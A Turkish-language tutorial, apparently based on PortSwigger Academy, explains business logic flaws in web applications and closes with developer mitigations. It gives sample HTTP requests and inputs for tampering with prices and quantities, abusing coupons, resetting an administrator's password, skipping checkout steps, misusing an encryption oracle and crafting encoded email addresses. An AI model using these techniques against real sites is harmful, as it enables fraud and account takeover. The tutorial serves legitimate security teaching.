Business Logic

Business Logic Zafiyeti Nedir?

Business logic zafiyeti, bir yazılım veya uygulamanın iş kuralları ve mantığıyla ilgili zayıflık veya güvenlik açığıdır. Bu tür zafiyetler, uygulamanın tasarım aşamasında yapılan hatalardan kaynaklanır ve genellikle normal kullanıcı davranışlarının ötesine geçerek sistemi kötüye kullanmayı mümkün kılar.

Örneğin, bir e-ticaret sitesinde indirim kodlarıyla ilgili bir zafiyet, kullanıcıların sınırsız sayıda indirim uygulamasına veya belirli ürünleri ücretsiz almasına olanak tanıyabilir. Diğer bir örnek, bir bankacılık uygulamasında para transfer limitlerini aşmanın mümkün olması olabilir.

Yöntemler

Client-Side Kontrole Güvenmek

Örnek olarak bir ürün sepete eklenirken server tarafında ücreti kontrol edilmiyor ise ürünün fiyatını düşürebiliriz.

POST /cart HTTP/2
Host: example.com
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

productId=1&price=10

Negatif Sayılarda Hatalar

Uygulamalar pozitif olması gereken verilerin negatif olup olmadığını kontrol etmiyor olabilir.

POST /cart HTTP/2
Host: example.com
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

productId=1&quantity=-10

Mantıksız Güvenlik Kontrolü

Örnek olarak bir uygulama kendi şirketindeki çalışanlara admin yetkisi veriyor olabilir. Eğer eposta doğrulaması yapılmadan hesap açılıyor ise saldırgan admin hesabına sahip olabilir.

[e-mail] -> /admin 403
[e-mail] -> /admin 200 OK

Kuralların Hatalı Uygulanması

Mesela sepetteki ürünlere kupon uygulanabiliyor fakan aynı kuponun birden fazla kere girilememesi lazım. Eğer uygulama sadece son kuponun girilen kupon ile aynı olup olmadığını kontrol ediyorsa 2 kupon sürekli ard arda girilebilir.

NEWCUST5 -> OK
NEWCUST5 -> Rejected

NEWCUST5 -> OK
SIGNUP30 -> OK
NEWCUST5 -> OK

Çok Yüksek Sayılarda Hatalar

Bilgisayarlar bir verinin değeri çok yüksek integer değerlere çıktığında negatife dönebilir. Bu durumda negatif sayıda ürün alınıyor olabilir.

POST /cart HTTP/2
Host: example.com
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

productId=1&quantity=2147483647

Girdilerin Yanlış Değerlendirilmesi

Örneğin uygulama bir domainden kayıtlı hesaplara admin yetkisi veriyor ve maili doğruluyor. Fakat veritabanı en fazla 255 karakter uzunluğunda email tutabiliyor ve devamını kesiyor. Böyle bir davranış varsa aşağıdaki şekilde bir saldırı yapabiliriz.

[e-mail] -> 403
[e-mail] -> 200

[e-mail] -> 200

Endpointlerde Zayıf Kontroller

Örneğin bu enpointte parametre olarak eski parola gönderiliyor fakat parametreyi sildiğimizde olup olmadığı kontrol edilmiyor olabilir.

POST /my-account/change-password HTTP/2
Host: example.com
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

username=attacker&oldpassword=pass123&newpassword=pass1234


POST /my-account/change-password HTTP/2
Host: example.com
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

username=administrator&newpassword=pass1234

Çok Adımlı İşlemlerde Kontrol Eksikliği

Örneğin bir ürün siparişinde önce sepete sonra ödeme kısmına sonrasında onay kısmına yönlendiriliyoruz.

Eğer kontrol yapılmıyorsa ödeme bilgisi girmeden sipariş oluşturabiliriz.

cart->checkout>confirmation
cart->confirmation

Request ile Doğrulanan Yetki Kontrolü

Örneğin admin paneline erişirken bizim admin olmadığımızı belirten bir istek atılıyor. Bu isteği yarıda keserek göndermezsek panele ulaşabiliriz.

POST /my-role HTTP/2
Host: example.com
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

role=user

GET /admin -> 403

DROP /my-role
GET /admin -> 200

Mantıksız Para İşlemleri

Örneğin siteden 100TL karşılığında 100TL değerinde hediye kartı alabiliyoruz ve sitede bakiyemize yükleniyor.

Eğer bu ürüne indirim kuponu ekleyebiliyorsak 100 lira ile sonsuz bakiye yükleyebiliriz.

Aynı Şifrelemenin Birkaç Alanda Kullanılması

Örneğin bir mesaj gönderdiğinizde çerezinize o mesajın şifrelenmiş hali geliyor. Eğer bu çerezi decode eden bir özellik varsa diğer şifrelenmiş verileri de aynı şekilde decode etmeyi deneyebiliriz.

POST /message HTTP/2
Host: example.com
Cookie: stay-loggedin=Vqz0XBApYpXA75OFJegD9YLqjJ4rby7sMYkl8pnk2gY

message=hello123&email=[e-mail]

GET /message HTTP/2
Host: example.com
notification=dAsdXBApYpdAfsay7sMYkl8pnk2gYfdshffzz

HTTP/2 200 OK
hello123

GET /message HTTP/2
Host: example.com
notification=Vqz0XBApYpXA75OFJegD9YLqjJ4rby7sMYkl8pnk2gY

HTTP/2 200 OK
attacker.202451850566413

Email Parser Zafiyetleri

Bu zafiyette farklı kodlamalar kullanarak kayıt maili ile veritabanındaki mailin farklı kayıt edilmesini sağlıyoruz.

=? # Encode baslangici
utf-8 # Karakter seti
?q? # Encoding tipi
=61=62=63 # Encoded veri
?= # Encode sonu


# [e-mail]
=?iso-8859-1?q?=61=62=63?=[e-mail]
=?utf-8?q?=61=62=63?=[e-mail]
=?utf-7?q?&AGEAYgBj-?=[e-mail]



# [e-mail]
=?utf-7?q?hacker&AEA-gmail.com&ACA-?=@microsoft.com

Önlemler

• Geliştiricilerin uygulamanın hizmet ettiği alanı anladığından emin olun.

• Kullanıcı davranışı veya uygulamanın diğer bölümlerinin davranışı hakkında üstü kapalı varsayımlarda bulunmaktan kaçının.

• Her aşamada yapılan varsayımları not ederek, tüm işlemler ve iş akışları için açık tasarım belgelerini ve veri akışlarını oluşturun.

• Kodu mümkün olduğunca açık yazın. Ne olması gerektiğini anlamak zorsa, herhangi bir mantık hatasını tespit etmek de zor olacaktır. İdeal olarak, iyi yazılmış bir kodun anlaşılması için dokümantasyona ihtiyaç duyulmamalıdır.

• Kaçınılmaz olarak karmaşık durumlarda, diğer geliştiricilerin ve test uzmanlarının hangi varsayımların yapıldığını ve beklenen davranışın tam olarak ne olduğunu bilmelerini sağlamak için açık belgeler üretmek çok önemlidir.

• Her bir bileşeni kullanan diğer kodlara yapılan referansları not edin. Kötü niyetli bir tarafın bunları alışılmadık bir şekilde manipüle etmesi durumunda bu bağımlılıkların yan etkilerini düşünün.

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/logic-flaws